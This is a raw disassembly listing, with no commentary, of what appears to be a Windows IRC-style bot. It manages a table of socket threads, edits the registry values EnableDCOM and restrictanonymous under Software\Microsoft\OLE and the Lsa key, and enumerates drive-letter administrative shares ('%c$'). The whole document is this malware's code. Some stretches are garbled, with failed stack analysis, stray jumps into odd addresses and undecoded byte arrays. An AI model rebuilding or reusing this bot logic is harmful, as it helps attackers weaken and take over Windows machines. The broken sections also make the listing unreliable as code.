		push	eax
		push	[ebp+var_B8]
		call	sub_40F9F1
		push	edi
		call	sub_408E17
		add	esp, 28h


loc_4111FF:				; CODE XREF: sub_411141+5Dj
					; sub_411141+7Ej
		push	esi
		call	dword_433B60	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_411141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41120E	proc near		; DATA XREF: .nsp0:0040D3D1o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_41D05C
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_41123C:				; CODE XREF: sub_41120E+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_430D28
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_438A58
		push	eax
		call	sub_413710
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_411141
		push	edi
		push	edi
		call	dword_41D070	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_4112A8


loc_41129D:				; CODE XREF: sub_41120E+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_4112A8
		push	32h
		call	esi ; dword_41D05C
		jmp	short loc_41129D
; ---------------------------------------------------------------------------


loc_4112A8:				; CODE XREF: sub_41120E+8Dj
					; sub_41120E+92j
		push	[ebp+var_4]
		call	dword_41D074	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi ; dword_41D05C
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_411FD0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4339FC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_433AC4	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_411FD0
		add	esp, 0Ch
		jmp	loc_41123C
sub_41120E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112FF	proc near		; DATA XREF: .nsp0:0040F632o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_411346
		call	sub_41135F
		jmp	short loc_41134B
; ---------------------------------------------------------------------------


loc_411346:				; CODE XREF: sub_4112FF+3Ej
		call	loc_411683


loc_41134B:				; CODE XREF: sub_4112FF+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_411CB6
		pop	ecx
		push	0
		call	near ptr 0AB0000h
		inc	edx
sub_4112FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41135F	proc near		; CODE XREF: sub_4112FF+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_433B98, edi
		jnz	loc_411491
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_433B38	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4113EA
		mov	ax, word_431110
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_433AEC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4113CC
		push	offset unk_4310CC
		jmp	short loc_4113D1
; ---------------------------------------------------------------------------


loc_4113CC:				; CODE XREF: sub_41135F+64j
		push	offset dword_43109C


loc_4113D1:				; CODE XREF: sub_41135F+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_433AA4	; RegCloseKey
		jmp	short loc_4113FD
; ---------------------------------------------------------------------------


loc_4113EA:				; CODE XREF: sub_41135F+36j
		lea	eax, [ebp+var_214]
		push	offset unk_431058
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_4113FD:				; CODE XREF: sub_41135F+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41141C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_41141C:				; CODE XREF: sub_41135F+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408E17
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_433B38	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41148A
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_433AEC	; RegSetValueExA
		test	eax, eax
		jz	short loc_41146C
		push	offset unk_430FF4
		jmp	short loc_411471
; ---------------------------------------------------------------------------


loc_41146C:				; CODE XREF: sub_41135F+104j
		push	offset unk_430FAC


loc_411471:				; CODE XREF: sub_41135F+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_433AA4	; RegCloseKey
		jmp	short loc_4114A4
; ---------------------------------------------------------------------------


loc_41148A:				; CODE XREF: sub_41135F+E2j
		push	offset unk_430F5C
		jmp	short loc_411496
; ---------------------------------------------------------------------------


loc_411491:				; CODE XREF: sub_41135F+13j
		push	offset unk_430F18


loc_411496:				; CODE XREF: sub_41135F+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_4114A4:				; CODE XREF: sub_41135F+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4114C3
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_4114C3:				; CODE XREF: sub_41135F+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408E17
		cmp	dword_433BC0, edi
		pop	ecx
		jnz	loc_41163E
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_4114E6:				; CODE XREF: sub_41135F+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_433A14
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_411583
		cmp	eax, 0EAh
		jz	short loc_411583
		mov	esi, offset off_430D68


loc_411517:				; CODE XREF: sub_41135F+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_410042
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41152E
		push	offset unk_430EE0
		jmp	short loc_411533
; ---------------------------------------------------------------------------


loc_41152E:				; CODE XREF: sub_41135F+1C6j
		push	offset unk_430EA0


loc_411533:				; CODE XREF: sub_41135F+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_411566
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_411566:				; CODE XREF: sub_41135F+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408E17
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_430D88
		jl	short loc_411517
		jmp	loc_41161B
; ---------------------------------------------------------------------------


loc_411583:				; CODE XREF: sub_41135F+1AAj
					; sub_41135F+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_411612


loc_411592:				; CODE XREF: sub_41135F+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_4142AC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_411607
		push	edi
		call	sub_40FF2F
		push	eax
		push	0
		call	sub_410042
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4115C1
		push	offset unk_430E68
		jmp	short loc_4115C6
; ---------------------------------------------------------------------------


loc_4115C1:				; CODE XREF: sub_41135F+259j
		push	offset unk_430E28


loc_4115C6:				; CODE XREF: sub_41135F+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_4115FA
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_4115FA:				; CODE XREF: sub_41135F+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408E17
		pop	ecx


loc_411607:				; CODE XREF: sub_41135F+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_411592
		xor	edi, edi


loc_411612:				; CODE XREF: sub_41135F+22Dj
		push	[ebp+var_8]
		call	dword_433B58


loc_41161B:				; CODE XREF: sub_41135F+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_4114E6
		lea	eax, [ebp+var_214]
		push	offset unk_430DEC
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_411651
; ---------------------------------------------------------------------------


loc_41163E:				; CODE XREF: sub_41135F+177j
		lea	eax, [ebp+var_214]
		push	offset unk_430DA8
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_411651:				; CODE XREF: sub_41135F+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41166F
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_41166F:				; CODE XREF: sub_41135F+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408E17
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41135F	endp

; ---------------------------------------------------------------------------


loc_411683:				; CODE XREF: sub_4112FF:loc_411346p
		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_433B98, ebx
		push	esi
		jnz	loc_4117B1
		lea	eax, [ebp-4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_433B38	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41170E
		mov	ax, word_431318
		mov	[ebp-6], ax
		lea	eax, [ebp-6]
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	dword ptr [ebp-4]
		call	dword_433AEC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4116F0
		push	offset unk_4312E0
		jmp	short loc_4116F5
; ---------------------------------------------------------------------------


loc_4116F0:				; CODE XREF: .nsp0:004116E7j
		push	offset dword_4312B0


loc_4116F5:				; CODE XREF: .nsp0:004116EEj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_433AA4	; RegCloseKey
		jmp	short loc_411721
; ---------------------------------------------------------------------------


loc_41170E:				; CODE XREF: .nsp0:004116B9j
		lea	eax, [ebp-220h]
		push	offset unk_431058
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_411721:				; CODE XREF: .nsp0:0041170Cj
		cmp	[ebp+14h], ebx
		jnz	short loc_411740
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F9F1
		add	esp, 14h


loc_411740:				; CODE XREF: .nsp0:00411724j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_408E17
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_433B38	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4117AA
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	dword ptr [ebp-4]
		mov	[ebp-8], ebx
		call	dword_433AEC	; RegSetValueExA
		test	eax, eax
		jz	short loc_41178C
		push	offset unk_431260
		jmp	short loc_411791
; ---------------------------------------------------------------------------


loc_41178C:				; CODE XREF: .nsp0:00411783j
		push	offset unk_431218


loc_411791:				; CODE XREF: .nsp0:0041178Aj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_433AA4	; RegCloseKey
		jmp	short loc_4117C4
; ---------------------------------------------------------------------------


loc_4117AA:				; CODE XREF: .nsp0:00411765j
		push	offset unk_4311C8
		jmp	short loc_4117B6
; ---------------------------------------------------------------------------


loc_4117B1:				; CODE XREF: .nsp0:00411696j
		push	offset unk_430F18


loc_4117B6:				; CODE XREF: .nsp0:004117AFj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_4117C4:				; CODE XREF: .nsp0:004117A8j
		cmp	[ebp+14h], ebx
		jnz	short loc_4117E3
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F9F1
		add	esp, 14h


loc_4117E3:				; CODE XREF: .nsp0:004117C7j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_408E17
		cmp	dword_433BC0, ebx
		pop	ecx
		jnz	loc_411955	; CODE XREF: .nsp0:00411873j
		push	edi
		mov	esi, offset off_430D68
		mov	edi, 200h


loc_411807:				; CODE XREF: .nsp0:0041186Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40FF96
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_411822
		push	offset unk_431194
		jmp	short loc_411827
; ---------------------------------------------------------------------------


loc_411822:				; CODE XREF: .nsp0:00411819j
		push	offset unk_431158


loc_411827:				; CODE XREF: .nsp0:00411820j
		lea	eax, [ebp-220h]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 10h
		cmp	[ebp+14h], ebx
		jnz	short loc_411856
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F9F1
		add	esp, 14h


loc_411856:				; CODE XREF: .nsp0:0041183Aj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_408E17
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_430D78
		jl	short loc_411807
		call	near ptr 0AB0000h
		jz	short near ptr loc_4117F6+4
		ror	byte ptr [ecx+41B3FC45h], 0Fh
		test	[eax+eax+458B0000h], bh	; CODE XREF: .nsp0:00411937j
		cld
		and	eax, 1
		cmp	al, 1
		jnz	loc_411932
		cmp	bl, 41h
		jz	loc_411932
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp-14h]
		push	0Ah
		push	eax
		call	sub_41246A
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp-20h]
		push	0Ah
		push	eax
		call	sub_41246A
		add	esp, 20h
		lea	eax, [ebp-20h]
		push	eax
		call	dword_433B28	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_411932
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	0
		call	sub_40FF96
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp-14h]
		push	eax
		jnz	short loc_4118F0
		push	offset unk_431194
		jmp	short loc_4118F5
; ---------------------------------------------------------------------------


loc_4118F0:				; CODE XREF: .nsp0:004118E7j
		push	offset unk_431158


loc_4118F5:				; CODE XREF: .nsp0:004118EEj
		lea	eax, [ebp-220h]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 10h
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_411925
		push	1
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F9F1
		add	esp, 14h


loc_411925:				; CODE XREF: .nsp0:00411909j
		lea	eax, [ebp-220h]
		push	eax
		call	sub_408E17
		pop	ecx


loc_411932:				; CODE XREF: .nsp0:00411889j
					; .nsp0:00411892j ...
		inc	bl
		shr	dword ptr [ebp-4], 1
		jnz	near ptr loc_41187C+5
		lea	eax, [ebp-220h]
		push	offset unk_431114
		push	eax
		call	sub_411EEE
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_411968
; ---------------------------------------------------------------------------


loc_411955:				; CODE XREF: .nsp0:loc_4117F6j
		lea	eax, [ebp-220h]
		push	offset unk_430DA8
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_411968:				; CODE XREF: .nsp0:00411953j
		cmp	[ebp+14h], ebx
		jnz	short loc_411986
		push	ebx
		lea	eax, [ebp-220h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F9F1
		add	esp, 14h


loc_411986:				; CODE XREF: .nsp0:0041196Bj
		lea	eax, [ebp-220h]
		push	eax
		call	sub_408E17
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41199A	proc near		; CODE XREF: .nsp0:00404972p
					; .nsp0:004059B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_438A58


loc_4119A2:				; CODE XREF: sub_41199A+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4119B6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_461F48
		jl	short loc_4119A2
		jmp	short loc_411A01
; ---------------------------------------------------------------------------


loc_4119B6:				; CODE XREF: sub_41199A+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_438A58[esi]
		push	eax
		call	sub_413710
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_438C58[esi], eax
		and	dword_438C5C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_438C60[esi], 0
		mov	dword_438C64[esi], eax
		and	byte_438C70[esi], 0
		pop	esi


loc_411A01:				; CODE XREF: sub_41199A+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_41199A	endp

; ---------------------------------------------------------------------------
byte_411A05	db 55h,	8Bh, 0ECh	; DATA XREF: .nsp0:0040F3C8o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 69E5ACh, 555E5F52h, 0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431410h, 0FF0C75FFh, 7AE80875h
		dd 83FFFFDFh, 0FF3314C4h, 438A58BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0F63868FFh, 0E8500042h, 446h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 32E80875h, 83FFFFDFh,	0C68124C4h
		dd 234h, 48FE8147h, 7C00461Fh, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_411AD5	proc near		; CODE XREF: .nsp0:0040E7B7p
					; sub_411B63+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_411B5D
		cmp	esi, 12Ch
		jge	short loc_411B5D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_438C6C[esi]
		lea	edi, dword_438C6C[esi]
		call	near ptr 0AB0000h
		sbb	al, 39h
		pop	ds
		jz	short loc_411B0D
		push	1
		pop	ebp


loc_411B0D:				; CODE XREF: sub_411AD5+33j
		mov	[edi], ebx
		lea	edi, dword_438C60[esi]
		mov	dword_438C58[esi], ebx
		mov	dword_438C5C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_411B2E
		push	eax
		call	sub_410D06
		pop	ecx


loc_411B2E:				; CODE XREF: sub_411AD5+50j
		mov	[edi], ebx
		lea	edi, dword_438C64[esi]
		mov	byte ptr dword_438A58[esi], bl
		mov	byte_438C70[esi], bl
		push	dword ptr [edi]
		call	dword_433B60	; closesocket
		lea	esi, dword_438C68[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_433B60	; closesocket
		mov	[esi], ebx
		pop	edi


loc_411B5D:				; CODE XREF: sub_411AD5+Dj
					; sub_411AD5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_411AD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_411B63	proc near		; CODE XREF: .nsp0:loc_407D0Dp
					; .nsp0:00409A1Ep ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_438A58


loc_411B6F:				; CODE XREF: sub_411B63+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_411B80
		push	edi
		call	sub_411AD5
		test	eax, eax
		pop	ecx
		jz	short loc_411B80
		inc	ebx


loc_411B80:				; CODE XREF: sub_411B63+Fj
					; sub_411B63+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_461F48
		jl	short loc_411B6F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_411B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B95	proc near		; CODE XREF: .nsp0:0040BC4Fp
					; .nsp0:0040BCC0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_438C5C


loc_411BA9:				; CODE XREF: sub_411B95+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_411BCB
		test	edi, edi
		jle	short loc_411BBD
		cmp	[esi], edi
		jz	short loc_411BBD
		cmp	ebx, edi
		jnz	short loc_411BCB


loc_411BBD:				; CODE XREF: sub_411B95+1Ej
					; sub_411B95+22j
		push	ebx
		call	sub_411AD5
		test	eax, eax
		pop	ecx
		jz	short loc_411BCB
		inc	[ebp+var_4]


loc_411BCB:				; CODE XREF: sub_411B95+1Aj
					; sub_411B95+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_46214C
		jl	short loc_411BA9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B95	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BE2	proc near		; CODE XREF: sub_405851+Bp
					; .nsp0:004058F5p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_438C58


loc_411BE9:				; CODE XREF: sub_411BE2+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_411BF2
		inc	eax


loc_411BF2:				; CODE XREF: sub_411BE2+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_462148
		jl	short loc_411BE9
		retn
sub_411BE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C01	proc near		; CODE XREF: .nsp0:0040EE9Ep

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_438C58


loc_411C0B:				; CODE XREF: sub_411C01+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_411C24
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_462148
		jl	short loc_411C0B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411C24:				; CODE XREF: sub_411C01+10j
		mov	eax, edx
		pop	esi
		retn
sub_411C01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C28	proc near		; CODE XREF: .nsp0:0040F571p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_411C41
		push	[ebp+arg_1C]
		call	sub_41245F
		pop	ecx


loc_411C41:				; CODE XREF: sub_411C28+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_411B95
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_411C6D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_411EEE
		add	esp, 14h
		jmp	short loc_411C87
; ---------------------------------------------------------------------------


loc_411C6D:				; CODE XREF: sub_411C28+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_411EEE
		add	esp, 10h


loc_411C87:				; CODE XREF: sub_411C28+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_411CA7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_411CA7:				; CODE XREF: sub_411C28+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408E17
		pop	ecx
		leave
		retn
sub_411C28	endp


; =============== S U B	R O U T	I N E =======================================



sub_411CB6	proc near		; CODE XREF: sub_401000+A2p
					; .nsp0:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_438C6C[eax], ecx
		mov	dword_438C58[eax], ecx
		mov	dword_438C5C[eax], ecx
		mov	dword_438C60[eax], ecx
		mov	dword_438C64[eax], ecx
		mov	dword_438C68[eax], ecx
		mov	byte ptr dword_438A58[eax], cl
		mov	byte_438C70[eax], cl
		retn
sub_411CB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CF3	proc near		; CODE XREF: .nsp0:0040F87Dp
					; sub_411E21+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_411CFD:				; CODE XREF: sub_411CF3+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_411D5D
		cmp	eax, 1
